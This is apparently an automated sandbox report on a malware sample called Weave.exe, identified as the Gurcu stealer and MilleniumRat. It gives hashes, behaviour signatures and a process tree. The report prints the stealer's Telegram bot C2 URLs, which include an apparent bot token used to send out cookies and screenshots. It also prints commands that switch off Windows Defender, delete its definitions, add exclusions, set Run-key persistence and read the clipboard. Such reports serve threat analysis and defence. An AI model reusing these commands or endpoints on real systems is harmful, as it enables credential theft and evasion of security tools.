Overview

overview

10

Static

static

3

Weave.exe

windows10-ltsc 2021-x64

10

Weave.exe

windows11-21h2-x64

10

main.pyc

windows10-ltsc 2021-x64

3

main.pyc

windows11-21h2-x64

3

Analysis

  • max time kernel
    36s
  • max time network
    80s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241023-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    12-11-2024 11:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Weave.exe

  • Size

    37.4MB

  • MD5

    1fb566f5c82922080e03a86e49b40154

  • SHA1

    0fe9bea2a2bf93e462b69b4afd9b833653f0dabb

  • SHA256

    80d82a2a33ab017eb31159d550ed2f08135ec2767ee68b7b88f94e3386d955ef

  • SHA512

    7e34f9ce23ae59ed46f3f8eb72e77f3bc3d4688ff44024e6059213fc8c831741306867bb579910ade4468f881e3f28bb4981275c98c2487e407a8774850accc3

  • SSDEEP

    786432:rK0ziIuB5EGCNldFPQizbz9y1Osn+bk4Xpf/2GPN1O:rKqgB54bdFPPg1Os+bHd2GF

Score
10/10
gurcumilleniumratcollectioncredential_accessdefense_evasiondiscoveryevasionexecutionpersistenceprivilege_escalationpyinstallerratspywarestealerupx

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendMessage?chat_id=-1002245526003

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getUpdates?offset=-

https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%B8Screenshot%20take

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

    evasion
  • Gurcu family
    gurcu
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

    stealergurcu
  • MilleniumRat

    MilleniumRat is a remote access trojan written in C#.

    ratstealermilleniumrat
  • Milleniumrat family
    milleniumrat
  • Modifies WinLogon for persistence 2 TTPs 5 IoCs
    persistence
  • Process spawned unexpected child process 15 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

    execution
  • Contacts a large (705) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Stops running service(s) 4 TTPs
    evasionexecution
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 16 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

    defense_evasion
  • Loads dropped DLL 53 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 12 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in System32 directory 5 IoCs
  • Enumerates processes with tasklist 1 TTPs 4 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • UPX packed file 55 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 2 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 11 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 9 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 7 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry class 3 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 17 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 18 IoCs
  • Suspicious use of SendNotifyMessage 17 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:624
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:876
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
          PID:680
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
          1⤵
            PID:956
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:420
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              1⤵
                PID:424
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                1⤵
                  PID:764
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                  1⤵
                    PID:732
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                    • Indicator Removal: Clear Windows Event Logs
                    PID:1128
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                    1⤵
                    • Drops file in System32 directory
                    PID:1180
                    • C:\Windows\system32\taskhostw.exe
                      taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                      2⤵
                        PID:3340
                      • C:\Program Files\Google\Chrome\updater.exe
                        "C:\Program Files\Google\Chrome\updater.exe"
                        2⤵
                        • Executes dropped EXE
                        PID:4076
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                      1⤵
                        PID:1224
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1280
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                          1⤵
                            PID:1368
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                            1⤵
                              PID:1476
                            • C:\Windows\System32\svchost.exe
                              C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                              1⤵
                                PID:1492
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                1⤵
                                  PID:1516
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                  1⤵
                                    PID:1532
                                    • C:\Windows\system32\sihost.exe
                                      sihost.exe
                                      2⤵
                                      • Modifies registry class
                                      PID:3200
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                    1⤵
                                      PID:1644
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1676
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1748
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1816
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1836
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                              1⤵
                                                PID:1968
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:2028
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:2040
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                    1⤵
                                                      PID:1080
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:2012
                                                      • C:\Windows\System32\spoolsv.exe
                                                        C:\Windows\System32\spoolsv.exe
                                                        1⤵
                                                          PID:2096
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                          1⤵
                                                            PID:2200
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                            1⤵
                                                              PID:2324
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                              1⤵
                                                                PID:2448
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                1⤵
                                                                  PID:2516
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                  1⤵
                                                                    PID:2528
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                      PID:2592
                                                                    • C:\Windows\sysmon.exe
                                                                      C:\Windows\sysmon.exe
                                                                      1⤵
                                                                        PID:2620
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                        1⤵
                                                                          PID:2636
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                          1⤵
                                                                            PID:2664
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                            1⤵
                                                                              PID:2748
                                                                            • C:\Windows\system32\wbem\unsecapp.exe
                                                                              C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                              1⤵
                                                                                PID:2988
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                1⤵
                                                                                  PID:3256
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                  1⤵
                                                                                    PID:3404
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                    1⤵
                                                                                      PID:3568
                                                                                    • C:\Windows\Explorer.EXE
                                                                                      C:\Windows\Explorer.EXE
                                                                                      1⤵
                                                                                      • Suspicious behavior: GetForegroundWindowSpam
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      • Suspicious use of SendNotifyMessage
                                                                                      • Suspicious use of UnmapMainImage
                                                                                      PID:3656
                                                                                      • C:\Users\Admin\AppData\Local\Temp\Weave.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\Weave.exe"
                                                                                        2⤵
                                                                                        • Suspicious use of WriteProcessMemory
                                                                                        PID:3964
                                                                                        • C:\Users\Admin\AppData\Local\Temp\Weave.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\Weave.exe"
                                                                                          3⤵
                                                                                          • Loads dropped DLL
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:3192
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI39642\Build.exe -pbeznogym
                                                                                            4⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3236
                                                                                            • C:\Users\Admin\AppData\Local\Temp\_MEI39642\Build.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\_MEI39642\Build.exe -pbeznogym
                                                                                              5⤵
                                                                                              • Checks computer location settings
                                                                                              • Executes dropped EXE
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:3856
                                                                                              • C:\ProgramData\Microsoft\hacn.exe
                                                                                                "C:\ProgramData\Microsoft\hacn.exe"
                                                                                                6⤵
                                                                                                • Executes dropped EXE
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:1584
                                                                                                • C:\ProgramData\Microsoft\hacn.exe
                                                                                                  "C:\ProgramData\Microsoft\hacn.exe"
                                                                                                  7⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Loads dropped DLL
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:1048
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI15842\s.exe -pbeznogym
                                                                                                    8⤵
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:976
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI15842\s.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\_MEI15842\s.exe -pbeznogym
                                                                                                      9⤵
                                                                                                      • Checks computer location settings
                                                                                                      • Executes dropped EXE
                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                      PID:4444
                                                                                                      • C:\ProgramData\main.exe
                                                                                                        "C:\ProgramData\main.exe"
                                                                                                        10⤵
                                                                                                        • Checks computer location settings
                                                                                                        • Executes dropped EXE
                                                                                                        • Loads dropped DLL
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:4368
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpF889.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpF889.tmp.bat
                                                                                                          11⤵
                                                                                                            PID:8748
                                                                                                            • C:\Windows\system32\tasklist.exe
                                                                                                              Tasklist /fi "PID eq 4368"
                                                                                                              12⤵
                                                                                                              • Enumerates processes with tasklist
                                                                                                              PID:8804
                                                                                                            • C:\Windows\system32\find.exe
                                                                                                              find ":"
                                                                                                              12⤵
                                                                                                                PID:8812
                                                                                                              • C:\Windows\system32\timeout.exe
                                                                                                                Timeout /T 1 /Nobreak
                                                                                                                12⤵
                                                                                                                • Delays execution with timeout.exe
                                                                                                                PID:8852
                                                                                                              • C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
                                                                                                                "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
                                                                                                                12⤵
                                                                                                                • Checks computer location settings
                                                                                                                • Executes dropped EXE
                                                                                                                • Loads dropped DLL
                                                                                                                • Checks processor information in registry
                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                PID:8876
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
                                                                                                                  13⤵
                                                                                                                    PID:5260
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe /f
                                                                                                                      14⤵
                                                                                                                      • Adds Run key to start application
                                                                                                                      • Modifies registry key
                                                                                                                      PID:3708
                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                    C:\Windows\system32\WerFault.exe -u -p 8876 -s 3060
                                                                                                                    13⤵
                                                                                                                    • Checks processor information in registry
                                                                                                                    • Enumerates system info in registry
                                                                                                                    PID:7920
                                                                                                            • C:\ProgramData\svchost.exe
                                                                                                              "C:\ProgramData\svchost.exe"
                                                                                                              10⤵
                                                                                                              • Checks computer location settings
                                                                                                              • Executes dropped EXE
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Modifies registry class
                                                                                                              PID:3036
                                                                                                              • C:\Windows\SysWOW64\WScript.exe
                                                                                                                "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\pFG3Duil1NAbFHoInFFIi7JfPHXMZXRvb98S0ewJA0VkW.vbe"
                                                                                                                11⤵
                                                                                                                • Checks computer location settings
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:2240
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\oGgyulsi03j6EO3sjCC.bat" "
                                                                                                                  12⤵
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:5852
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\ChainComServermonitor.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor/ChainComServermonitor.exe"
                                                                                                                    13⤵
                                                                                                                    • Modifies WinLogon for persistence
                                                                                                                    • Checks computer location settings
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Adds Run key to start application
                                                                                                                    • Drops file in Program Files directory
                                                                                                                    • Modifies registry class
                                                                                                                    PID:5744
                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sgtf4zud\sgtf4zud.cmdline"
                                                                                                                      14⤵
                                                                                                                        PID:6836
                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEE29.tmp" "c:\ProgramData\CSC59C7B50360D4D3095967F7A0782535.TMP"
                                                                                                                          15⤵
                                                                                                                            PID:6716
                                                                                                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ehnpu3fl\ehnpu3fl.cmdline"
                                                                                                                          14⤵
                                                                                                                          • Drops file in System32 directory
                                                                                                                          PID:8256
                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEE77.tmp" "c:\Windows\System32\CSC2FCAFB25433044DEB9FE931B5CFFB97C.TMP"
                                                                                                                            15⤵
                                                                                                                              PID:4732
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\NxNOap5dEp.bat"
                                                                                                                            14⤵
                                                                                                                              PID:7692
                                                                                                                              • C:\Windows\system32\chcp.com
                                                                                                                                chcp 65001
                                                                                                                                15⤵
                                                                                                                                  PID:7604
                                                                                                                                • C:\Windows\system32\w32tm.exe
                                                                                                                                  w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                                                                                                                  15⤵
                                                                                                                                    PID:7560
                                                                                                                                  • C:\Program Files\Uninstall Information\RuntimeBroker.exe
                                                                                                                                    "C:\Program Files\Uninstall Information\RuntimeBroker.exe"
                                                                                                                                    15⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:9164
                                                                                                                        • C:\ProgramData\crss.exe
                                                                                                                          "C:\ProgramData\crss.exe"
                                                                                                                          10⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:3468
                                                                                                                          • C:\ProgramData\crss.exe
                                                                                                                            "C:\ProgramData\crss.exe"
                                                                                                                            11⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Loads dropped DLL
                                                                                                                            • Adds Run key to start application
                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                            PID:5600
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                              12⤵
                                                                                                                                PID:5788
                                                                                                                          • C:\ProgramData\setup.exe
                                                                                                                            "C:\ProgramData\setup.exe"
                                                                                                                            10⤵
                                                                                                                            • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                            • Drops file in Program Files directory
                                                                                                                            PID:5344
                                                                                                                  • C:\ProgramData\Microsoft\based.exe
                                                                                                                    "C:\ProgramData\Microsoft\based.exe"
                                                                                                                    6⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                    PID:1116
                                                                                                                    • C:\ProgramData\Microsoft\based.exe
                                                                                                                      "C:\ProgramData\Microsoft\based.exe"
                                                                                                                      7⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Loads dropped DLL
                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                      PID:1736
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:1020
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\based.exe'
                                                                                                                          9⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1468
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:1568
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                                                                                                          9⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1448
                                                                                                                        • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                                          9⤵
                                                                                                                          • Deletes Windows Defender Definitions
                                                                                                                          PID:6304
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ​   .scr'"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:4716
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ​   .scr'
                                                                                                                          9⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2336
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:1604
                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                          tasklist /FO LIST
                                                                                                                          9⤵
                                                                                                                          • Enumerates processes with tasklist
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:4748
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:64
                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                          tasklist /FO LIST
                                                                                                                          9⤵
                                                                                                                          • Enumerates processes with tasklist
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2232
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:3716
                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                                                                          9⤵
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1144
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                                                                        8⤵
                                                                                                                        • Clipboard Data
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:3964
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell Get-Clipboard
                                                                                                                          9⤵
                                                                                                                          • Clipboard Data
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:1120
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                        8⤵
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:4092
                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                          tasklist /FO LIST
                                                                                                                          9⤵
                                                                                                                          • Enumerates processes with tasklist
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
